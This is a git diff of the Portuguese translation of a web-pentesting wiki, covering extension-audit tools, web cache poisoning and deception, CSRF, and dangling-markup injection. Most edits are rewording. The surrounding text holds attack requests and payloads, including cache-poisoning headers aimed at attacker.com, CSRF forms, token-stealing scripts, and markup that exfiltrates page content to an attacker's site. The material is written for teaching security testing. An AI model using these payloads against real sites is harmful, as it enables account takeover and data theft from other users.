páginas. -- Visualizador de Aviso(s) de Permissão: que mostra uma lista de todos os avisos de prompt de permissão do Chrome que serão exibidos quando um usuário tentar instalar a extensão. -- Função(ões) Perigosa(s): mostra a localização de funções perigosas que poderiam potencialmente ser exploradas por um atacante (por exemplo, funções como innerHTML, chrome.tabs.executeScript). -- Ponto(s) de Entrada: mostra onde a extensão recebe entrada de usuário/externa. Isso é útil para entender a área de superfície de uma extensão e procurar pontos potenciais para enviar dados maliciosamente elaborados para a extensão. +- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **visualizador**: simplesmente exibe uma versão JSON formatada do manifesto da extensão. +- **Análise de Impressão Digital**: Detecção de [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) e geração automática de JavaScript de impressão digital de extensão do Chrome. +- **Análise Potencial de Clickjacking**: Detecção de páginas HTML de extensão com a diretiva [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) definida. Estas são potencialmente vulneráveis a clickjacking dependendo do propósito das páginas. +- **Visualizador de Aviso(s) de Permissão**: que mostra uma lista de todos os avisos de prompt de permissão do Chrome que serão exibidos quando um usuário tentar instalar a extensão. +- **Função(ões) Perigosa(s)**: mostra a localização de funções perigosas que poderiam potencialmente ser exploradas por um atacante (por exemplo, funções como innerHTML, chrome.tabs.executeScript). +- **Ponto(s) de Entrada**: mostra onde a extensão recebe entrada de usuário/externa. Isso é útil para entender a área de superfície de uma extensão e procurar pontos potenciais para enviar dados maliciosamente elaborados para a extensão. - Tanto os scanners de Função(ões) Perigosa(s) quanto de Ponto(s) de Entrada têm o seguinte para seus alertas gerados: - Trecho de código relevante e linha que causou o alerta. - Descrição do problema. @@ -679,17 +679,17 @@ Embora as Extensões de Navegador tenham uma **superfície de ataque limitada**, - O URI completo da extensão do Chrome do arquivo alertado. - O tipo de arquivo que é, como um script de Página de Fundo, Script de Conteúdo, Ação do Navegador, etc. - Se a linha vulnerável estiver em um arquivo JavaScript, os caminhos de todas as páginas onde está incluída, bem como o tipo dessas páginas e o status de [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources). -- Analisador de Política de Segurança de Conteúdo (CSP) e verificador de bypass: Isso apontará fraquezas na CSP da sua extensão e também iluminará quaisquer maneiras potenciais de contornar sua CSP devido a CDNs na lista branca, etc. -- Bibliotecas Conhecidas Vulneráveis: Isso usa [Retire.js](https://retirejs.github.io/retire.js/) para verificar qualquer uso de bibliotecas JavaScript conhecidas como vulneráveis. +- **Analisador de Política de Segurança de Conteúdo (CSP) e verificador de bypass**: Isso apontará fraquezas na CSP da sua extensão e também iluminará quaisquer maneiras potenciais de contornar sua CSP devido a CDNs na lista branca, etc. +- **Bibliotecas Conhecidas Vulneráveis**: Isso usa [Retire.js](https://retirejs.github.io/retire.js/) para verificar qualquer uso de bibliotecas JavaScript conhecidas como vulneráveis. - Baixar extensão e versões formatadas. - Baixar a extensão original. -- Baixar uma versão embelezada da extensão (HTML e JavaScript formatados automaticamente). -- Cache automático dos resultados da varredura, executar uma varredura de extensão levará um bom tempo na primeira vez que você a executar. No entanto, na segunda vez, assumindo que a extensão não foi atualizada, será quase instantâneo devido aos resultados estarem em cache. -- URLs de Relatório Linkáveis, facilmente vincule alguém a um relatório de extensão gerado pelo tarnish. +- Baixar uma versão embelezada da extensão (HTML e JavaScript automaticamente formatados). +- Cache automático dos resultados da varredura, executar uma varredura de extensão levará um bom tempo na primeira vez que você a executar. No entanto, a segunda vez, assumindo que a extensão não foi atualizada, será quase instantânea devido aos resultados estarem em cache. +- URLs de Relatório linkáveis, facilmente vincule alguém a um relatório de extensão gerado pelo tarnish. ### [Neto](https://github.com/elevenpaths/neto) -O Projeto Neto é um pacote Python 3 concebido para analisar e desvendar recursos ocultos de plugins e extensões de navegador para navegadores bem conhecidos, como Firefox e Chrome. Ele automatiza o processo de descompactar os arquivos empacotados para extrair esses recursos de recursos relevantes em uma extensão como `manifest.json`, pastas de localização ou arquivos fonte Javascript e HTML. +O Projeto Neto é um pacote Python 3 concebido para analisar e desvendar recursos ocultos de plugins e extensões de navegador para navegadores bem conhecidos, como Firefox e Chrome. Ele automatiza o processo de descompactar os arquivos empacotados para extrair esses recursos de recursos relevantes em uma extensão como `manifest.json`, pastas de localização ou arquivos fonte JavaScript e HTML. ## Referências diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 72c7f6645..a2b37c9de 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -25,7 +25,7 @@ Geralmente, quando uma resposta foi **armazenada em cache**, haverá um **cabeç ### Descoberta: Códigos de erro de cache -Se você está pensando que a resposta está sendo armazenada em um cache, você poderia tentar **enviar solicitações com um cabeçalho ruim**, que deve ser respondido com um **código de status 400**. Então, tente acessar a solicitação normalmente e se a **resposta for um código de status 400**, você sabe que é vulnerável (e você poderia até realizar um DoS). +Se você está pensando que a resposta está sendo armazenada em um cache, você poderia tentar **enviar solicitações com um cabeçalho inválido**, que deve ser respondido com um **código de status 400**. Então, tente acessar a solicitação normalmente e se a **resposta for um código de status 400**, você sabe que é vulnerável (e você poderia até realizar um DoS). Você pode encontrar mais opções em: @@ -47,7 +47,7 @@ Com o parâmetro/cabeçalho identificado, verifique como ele está sendo **sanit ### Obter a resposta em cache -Uma vez que você tenha **identificado** a **página** que pode ser abusada, qual **parâmetro**/**cabeçalho** usar e **como** abusar disso, você precisa fazer com que a página seja armazenada em cache. Dependendo do recurso que você está tentando colocar em cache, isso pode levar algum tempo, você pode precisar tentar por vários segundos. +Uma vez que você tenha **identificado** a **página** que pode ser abusada, qual **parâmetro**/**cabeçalho** usar e **como** abusar disso, você precisa fazer a página ser armazenada em cache. Dependendo do recurso que você está tentando colocar em cache, isso pode levar algum tempo, você pode precisar tentar por vários segundos. O cabeçalho **`X-Cache`** na resposta pode ser muito útil, pois pode ter o valor **`miss`** quando a solicitação não foi armazenada em cache e o valor **`hit`** quando está em cache.\ O cabeçalho **`Cache-Control`** também é interessante para saber se um recurso está sendo armazenado em cache e quando será a próxima vez que o recurso será armazenado em cache novamente: `Cache-Control: public, max-age=1800` @@ -56,7 +56,7 @@ Outro cabeçalho interessante é **`Vary`**. Este cabeçalho é frequentemente u Mais um cabeçalho relacionado ao cache é **`Age`**. Ele define o tempo em segundos que o objeto esteve no cache do proxy. -Ao armazenar uma solicitação em cache, tenha **cuidado com os cabeçalhos que você usa**, pois alguns deles podem ser **usados inesperadamente** como **chaveados** e a **vítima precisará usar esse mesmo cabeçalho**. Sempre **teste** um Cache Poisoning com **navegadores diferentes** para verificar se está funcionando. +Ao armazenar uma solicitação em cache, tenha **cuidado com os cabeçalhos que você usa**, pois alguns deles podem ser **usados inesperadamente** como **chaveados** e a **vítima precisará usar esse mesmo cabeçalho**. Sempre **teste** um Cache Poisoning com **diferentes navegadores** para verificar se está funcionando. ## Exemplos de Exploração @@ -79,7 +79,7 @@ cache-poisoning-to-dos.md ### Usando envenenamento de cache da web para explorar vulnerabilidades de manipulação de cookies -Os cookies também podem ser refletidos na resposta de uma página. Se você puder abusar disso para causar um XSS, por exemplo, poderá explorar XSS em vários clientes que carregam a resposta de cache maliciosa. +Cookies também podem ser refletidos na resposta de uma página. Se você puder abusar disso para causar um XSS, por exemplo, poderá explorar XSS em vários clientes que carregam a resposta de cache maliciosa. ```markup GET / HTTP/1.1 Host: vulnerable.com @@ -107,7 +107,7 @@ cache-poisoning-via-url-discrepancies.md ### Usando múltiplos cabeçalhos para explorar vulnerabilidades de envenenamento de cache web -Às vezes, você precisará **explorar várias entradas não chaveadas** para poder abusar de um cache. Por exemplo, você pode encontrar um **Redirecionamento aberto** se definir `X-Forwarded-Host` para um domínio controlado por você e `X-Forwarded-Scheme` para `http`. **Se** o **servidor** estiver **encaminhando** todas as **requisições HTTP** **para HTTPS** e usando o cabeçalho `X-Forwarded-Scheme` como o nome do domínio para o redirecionamento. Você pode controlar para onde a página é apontada pelo redirecionamento. +Às vezes, você precisará **explorar várias entradas não chaveadas** para poder abusar de um cache. Por exemplo, você pode encontrar um **redirecionamento aberto** se definir `X-Forwarded-Host` para um domínio controlado por você e `X-Forwarded-Scheme` para `http`. **Se** o **servidor** estiver **encaminhando** todas as **requisições HTTP** **para HTTPS** e usando o cabeçalho `X-Forwarded-Scheme` como o nome do domínio para o redirecionamento. Você pode controlar para onde a página é apontada pelo redirecionamento. ```markup GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net @@ -125,7 +125,7 @@ X-Host: attacker.com ``` ### Fat Get -Envie uma solicitação GET com a solicitação na URL e no corpo. Se o servidor web usar o do corpo, mas o servidor de cache armazenar o da URL, qualquer pessoa que acessar essa URL usará na verdade o parâmetro do corpo. Como a vulnerabilidade que James Kettle encontrou no site do Github: +Envie uma solicitação GET com a solicitação na URL e no corpo. Se o servidor web usar o do corpo, mas o servidor de cache armazenar em cache o da URL, qualquer pessoa que acessar essa URL usará na verdade o parâmetro do corpo. Como a vulnerabilidade que James Kettle encontrou no site do Github: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -134,23 +134,23 @@ Content-Length: 22 report=innocent-victim ``` -Há um laboratório do portswigger sobre isso: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) +There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) -### Cloaking de Parâmetros +### Ocultação de Parâmetros Por exemplo, é possível separar **parâmetros** em servidores ruby usando o caractere **`;`** em vez de **`&`**. Isso pode ser usado para colocar valores de parâmetros não-chave dentro de parâmetros chave e abusar deles. -Laboratório do Portswigger: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) +Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) ### Explorando o Envenenamento de Cache HTTP abusando do HTTP Request Smuggling -Aprenda aqui como realizar [ataques de Envenenamento de Cache abusando do HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning). +Aprenda aqui como realizar [ataques de Envenenamento de Cache abusando do HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning). -### Testes Automatizados para Envenenamento de Cache Web +### Testes automatizados para Envenenamento de Cache Web O [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) pode ser usado para testar automaticamente o envenenamento de cache web. Ele suporta muitas técnicas diferentes e é altamente personalizável. -Uso de exemplo: `wcvs -u example.com` +Exemplo de uso: `wcvs -u example.com` ## Exemplos Vulneráveis @@ -176,15 +176,15 @@ O Cloudflare anteriormente armazenava em cache respostas 403. Tentar acessar S3 ### Injetando Parâmetros Chaveados -Os caches frequentemente incluem parâmetros GET específicos na chave de cache. Por exemplo, o Varnish da Fastly armazenava em cache o parâmetro `size` nas solicitações. No entanto, se uma versão codificada em URL do parâmetro (por exemplo, `siz%65`) também fosse enviada com um valor incorreto, a chave de cache seria construída usando o parâmetro `size` correto. No entanto, o backend processaria o valor no parâmetro codificado em URL. A codificação em URL do segundo parâmetro `size` levou à sua omissão pelo cache, mas sua utilização pelo backend. Atribuir um valor de 0 a esse parâmetro resultou em um erro 400 Bad Request que poderia ser armazenado em cache. +Os caches frequentemente incluem parâmetros GET específicos na chave de cache. Por exemplo, o Varnish da Fastly armazenava em cache o parâmetro `size` nas solicitações. No entanto, se uma versão codificada em URL do parâmetro (por exemplo, `siz%65`) também fosse enviada com um valor incorreto, a chave de cache seria construída usando o parâmetro `size` correto. No entanto, o backend processaria o valor no parâmetro codificado em URL. A codificação em URL do segundo parâmetro `size` levou à sua omissão pelo cache, mas sua utilização pelo backend. Atribuir um valor de 0 a esse parâmetro resultou em um erro 400 Bad Request armazenável em cache. ### Regras de User Agent -Alguns desenvolvedores bloqueiam solicitações com user-agents que correspondem aos de ferramentas de alto tráfego, como FFUF ou Nuclei, para gerenciar a carga do servidor. Ironicamente, essa abordagem pode introduzir vulnerabilidades, como envenenamento de cache e DoS. +Alguns desenvolvedores bloqueiam solicitações com user-agents que correspondem aos de ferramentas de alto tráfego como FFUF ou Nuclei para gerenciar a carga do servidor. Ironicamente, essa abordagem pode introduzir vulnerabilidades, como envenenamento de cache e DoS. ### Campos de Cabeçalho Ilegais -O [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica os caracteres aceitáveis nos nomes dos cabeçalhos. Cabeçalhos contendo caracteres fora do intervalo **tchar** especificado devem idealmente acionar uma resposta 400 Bad Request. Na prática, os servidores nem sempre aderem a esse padrão. Um exemplo notável é o Akamai, que encaminha cabeçalhos com caracteres inválidos e armazena em cache qualquer erro 400, desde que o cabeçalho `cache-control` não esteja presente. Um padrão explorável foi identificado onde o envio de um cabeçalho com um caractere ilegal, como `\`, resultaria em um erro 400 Bad Request que poderia ser armazenado em cache. +O [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica os caracteres aceitáveis nos nomes dos cabeçalhos. Cabeçalhos contendo caracteres fora do intervalo **tchar** especificado devem idealmente acionar uma resposta 400 Bad Request. Na prática, os servidores nem sempre aderem a esse padrão. Um exemplo notável é o Akamai, que encaminha cabeçalhos com caracteres inválidos e armazena em cache qualquer erro 400, desde que o cabeçalho `cache-control` não esteja presente. Um padrão explorável foi identificado onde enviar um cabeçalho com um caractere ilegal, como `\`, resultaria em um erro 400 Bad Request armazenável em cache. ### Encontrando novos cabeçalhos @@ -194,7 +194,7 @@ O [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica os caracte O objetivo da Decepção de Cache é fazer com que os clientes **carreguem recursos que serão salvos pelo cache com suas informações sensíveis**. -Primeiro, note que **extensões** como `.css`, `.js`, `.png` etc. geralmente são **configuradas** para serem **salvas** no **cache.** Portanto, se você acessar `www.example.com/profile.php/nonexistent.js`, o cache provavelmente armazenará a resposta porque vê a **extensão** `.js`. Mas, se a **aplicação** estiver **reproduzindo** com os conteúdos **sensíveis** do usuário armazenados em _www.example.com/profile.php_, você pode **roubar** esses conteúdos de outros usuários. +Primeiro, note que **extensões** como `.css`, `.js`, `.png` etc. são geralmente **configuradas** para serem **salvas** no **cache.** Portanto, se você acessar `www.example.com/profile.php/nonexistent.js`, o cache provavelmente armazenará a resposta porque vê a **extensão** `.js`. Mas, se a **aplicação** estiver **reproduzindo** com os conteúdos **sensíveis** do usuário armazenados em _www.example.com/profile.php_, você pode **roubar** esses conteúdos de outros usuários. Outras coisas a testar: @@ -209,13 +209,13 @@ Outro exemplo muito claro pode ser encontrado neste relatório: [https://hackero No exemplo, é explicado que se você carregar uma página inexistente como _http://www.example.com/home.php/non-existent.css_, o conteúdo de _http://www.example.com/home.php_ (**com as informações sensíveis do usuário**) será retornado e o servidor de cache salvará o resultado.\ Então, o **atacante** pode acessar _http://www.example.com/home.php/non-existent.css_ em seu próprio navegador e observar as **informações confidenciais** dos usuários que acessaram antes. -Note que o **proxy de cache** deve ser **configurado** para **armazenar em cache** arquivos **baseados** na **extensão** do arquivo (_.css_) e não com base no content-type. No exemplo _http://www.example.com/home.php/non-existent.css_ terá um content-type `text/html` em vez de um tipo mime `text/css` (que é o esperado para um arquivo _.css_). +Note que o **proxy de cache** deve ser **configurado** para **armazenar em cache** arquivos **baseados** na **extensão** do arquivo (_.css_) e não com base no content-type. No exemplo _http://www.example.com/home.php/non-existent.css_ terá um content-type `text/html` em vez de um tipo MIME `text/css` (que é o esperado para um arquivo _.css_). -Aprenda aqui como realizar [ataques de Decepção de Cache abusando do HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). +Aprenda aqui como realizar [ataques de Decepção de Cache abusando do HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception). ## Ferramentas Automáticas -- [**toxicache**](https://github.com/xhzeem/toxicache): Scanner Golang para encontrar vulnerabilidades de envenenamento de cache web em uma lista de URLs e testar várias técnicas de injeção. +- [**toxicache**](https://github.com/xhzeem/toxicache): Scanner em Golang para encontrar vulnerabilidades de envenenamento de cache web em uma lista de URLs e testar várias técnicas de injeção. ## Referências diff --git a/src/pentesting-web/csrf-cross-site-request-forgery.md b/src/pentesting-web/csrf-cross-site-request-forgery.md index 7e1a43085..336098ca5 100644 --- a/src/pentesting-web/csrf-cross-site-request-forgery.md +++ b/src/pentesting-web/csrf-cross-site-request-forgery.md @@ -24,12 +24,12 @@ Você pode **capturar a requisição no Burp** e verificar as proteções CSRF e Várias contramedidas podem ser implementadas para proteger contra ataques CSRF: -- [**SameSite cookies**](hacking-with-cookies/#samesite): Este atributo impede que o navegador envie cookies junto com requisições de outros sites. [Mais sobre SameSite cookies](hacking-with-cookies/#samesite). -- [**Cross-origin resource sharing**](cors-bypass.md): A política CORS do site da vítima pode influenciar a viabilidade do ataque, especialmente se o ataque requerer a leitura da resposta do site da vítima. [Saiba mais sobre CORS bypass](cors-bypass.md). +- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Este atributo impede que o navegador envie cookies junto com requisições de outros sites. [Mais sobre cookies SameSite](hacking-with-cookies/index.html#samesite). +- [**Cross-origin resource sharing**](cors-bypass.md): A política CORS do site da vítima pode influenciar a viabilidade do ataque, especialmente se o ataque requerer a leitura da resposta do site da vítima. [Saiba mais sobre bypass CORS](cors-bypass.md). - **Verificação do Usuário**: Solicitar a senha do usuário ou resolver um captcha pode confirmar a intenção do usuário. - **Verificando Cabeçalhos Referrer ou Origin**: Validar esses cabeçalhos pode ajudar a garantir que as requisições estão vindo de fontes confiáveis. No entanto, a elaboração cuidadosa de URLs pode contornar verificações mal implementadas, como: -- Usar `http://mal.net?orig=http://example.com` (URL termina com a URL confiável) -- Usar `http://example.com.mal.net` (URL começa com a URL confiável) + - Usando `http://mal.net?orig=http://example.com` (URL termina com a URL confiável) + - Usando `http://example.com.mal.net` (URL começa com a URL confiável) - **Modificando Nomes de Parâmetros**: Alterar os nomes dos parâmetros em requisições POST ou GET pode ajudar a prevenir ataques automatizados. - **Tokens CSRF**: Incorporar um token CSRF único em cada sessão e exigir esse token em requisições subsequentes pode mitigar significativamente o risco de CSRF. A eficácia do token pode ser aumentada pela imposição de CORS. @@ -39,7 +39,7 @@ Compreender e implementar essas defesas é crucial para manter a segurança e in ### De POST para GET -Talvez o formulário que você deseja abusar esteja preparado para enviar uma **requisição POST com um token CSRF, mas**, você deve **verificar** se um **GET** também é **válido** e se quando você envia uma requisição GET o **token CSRF ainda está sendo validado**. +Talvez o formulário que você deseja abusar esteja preparado para enviar uma **requisição POST com um token CSRF, mas** você deve **verificar** se um **GET** também é **válido** e se, ao enviar uma requisição GET, o **token CSRF ainda está sendo validado**. ### Falta de token @@ -55,11 +55,11 @@ Veja como os atacantes exploram isso: 2. **Obter um token CSRF válido** do pool global. 3. **Usar esse token** em um ataque CSRF contra uma vítima. -Essa vulnerabilidade permite que os atacantes façam requisições não autorizadas em nome da vítima, explorando o **mecanismo de validação de token inadequado** da aplicação. +Essa vulnerabilidade permite que os atacantes façam requisições não autorizadas em nome da vítima, explorando o **mecanismo inadequado de validação de tokens** da aplicação. ### Bypass de Método -Se a requisição estiver usando um "**método**" **"estranho"**, verifique se a **funcionalidade** de **substituição de método** está funcionando. Por exemplo, se estiver **usando um método PUT**, você pode tentar **usar um método POST** e **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_ +Se a requisição estiver usando um "**método**" **"estranho"**, verifique se a **funcionalidade** de **sobrescrita de método** está funcionando. Por exemplo, se estiver **usando um método PUT**, você pode tentar **usar um método POST** e **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_ Isso também pode funcionar enviando o **parâmetro \_method dentro de uma requisição POST** ou usando os **cabeçalhos**: @@ -72,7 +72,7 @@ Isso também pode funcionar enviando o **parâmetro \_method dentro de uma requi Se a requisição estiver adicionando um **cabeçalho personalizado** com um **token** à requisição como **método de proteção CSRF**, então: - Teste a requisição sem o **Token Personalizado e também o cabeçalho.** -- Teste a requisição com o **mesmo comprimento exato, mas com um token diferente**. +- Teste a requisição com o **mesmo comprimento exato, mas um token diferente**. ### Token CSRF é verificado por um cookie @@ -138,11 +138,11 @@ form.submit() Ao tentar enviar dados JSON via uma requisição POST, usar `Content-Type: application/json` em um formulário HTML não é diretamente possível. Da mesma forma, utilizar `XMLHttpRequest` para enviar esse tipo de conteúdo inicia uma requisição preflight. No entanto, existem estratégias para potencialmente contornar essa limitação e verificar se o servidor processa os dados JSON independentemente do Content-Type: -1. **Usar Tipos de Conteúdo Alternativos**: Empregar `Content-Type: text/plain` ou `Content-Type: application/x-www-form-urlencoded` definindo `enctype="text/plain"` no formulário. Essa abordagem testa se o backend utiliza os dados independentemente do Content-Type. +1. **Usar Tipos de Conteúdo Alternativos**: Empregue `Content-Type: text/plain` ou `Content-Type: application/x-www-form-urlencoded` definindo `enctype="text/plain"` no formulário. Essa abordagem testa se o backend utiliza os dados independentemente do Content-Type. 2. **Modificar o Tipo de Conteúdo**: Para evitar uma requisição preflight enquanto garante que o servidor reconheça o conteúdo como JSON, você pode enviar os dados com `Content-Type: text/plain; application/json`. Isso não aciona uma requisição preflight, mas pode ser processado corretamente pelo servidor se estiver configurado para aceitar `application/json`. 3. **Utilização de Arquivo SWF Flash**: Um método menos comum, mas viável, envolve usar um arquivo SWF flash para contornar tais restrições. Para uma compreensão mais profunda dessa técnica, consulte [este post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). -### Bypass de verificação de Referer / Origem +### Bypass de Verificação de Referer / Origem **Evitar o cabeçalho Referer** @@ -197,7 +197,7 @@ Portanto, se uma requisição GET estiver sendo limitada, você pode simplesment ### **Exfiltrando o Token CSRF** -Se um **token CSRF** estiver sendo usado como **defesa**, você pode tentar **exfiltrá-lo** abusando de uma vulnerabilidade de [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) ou de uma vulnerabilidade de [**Markup Pendente**](dangling-markup-html-scriptless-injection/). +Se um **token CSRF** estiver sendo usado como **defesa**, você pode tentar **exfiltrá-lo** abusando de uma vulnerabilidade de [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) ou uma vulnerabilidade de [**Markup Pendente**](dangling-markup-html-scriptless-injection/). ### **GET usando tags HTML** ```xml @@ -332,7 +332,7 @@ data: "param=value¶m2=value2", }) ``` -### solicitação POST multipart/form-data +### multipart/form-data POST request ```javascript myFormData = new FormData() var blob = new Blob([""], { type: "text/text" }) @@ -373,7 +373,7 @@ body += "--" + boundary + "--" //xhr.send(body); xhr.sendAsBinary(body) ``` -### Solicitação POST de formulário de dentro de um iframe +### Formulário de solicitação POST de dentro de um iframe ```html <--! expl.html --> @@ -444,7 +444,7 @@ var GET_URL = "http://google.com?param=VALUE" var POST_URL = "http://google.com?param=VALUE" getTokenJS() ``` -### **Roubar o Token CSRF e enviar uma requisição Post usando um iframe, um formulário e Ajax** +### **Roubar o Token CSRF e enviar uma solicitação Post usando um iframe, um formulário e Ajax** ```html
` tag. Todas as informações serão enviadas até que a citação seja fechada, mas isso requer alguma interação do usuário (o usuário deve clicar em algum link, porque a tag base terá mudado o domínio apontado pelo link): ```html test @@ -90,18 +90,18 @@ Você pode alterar o caminho de um formulário e inserir novos valores para que `` É uma tag cujo conteúdo será interpretado se o navegador não suportar javascript (você pode ativar/desativar Javascript no Chrome em [chrome://settings/content/javascript](chrome://settings/content/javascript)). -Uma maneira de exfiltrar o conteúdo da página da web do ponto de injeção até o fundo para um site controlado pelo atacante será injetar isto: +Uma maneira de exfiltrar o conteúdo da página da web do ponto de injeção até o fundo para um site controlado pelo atacante será injetar isso: ```html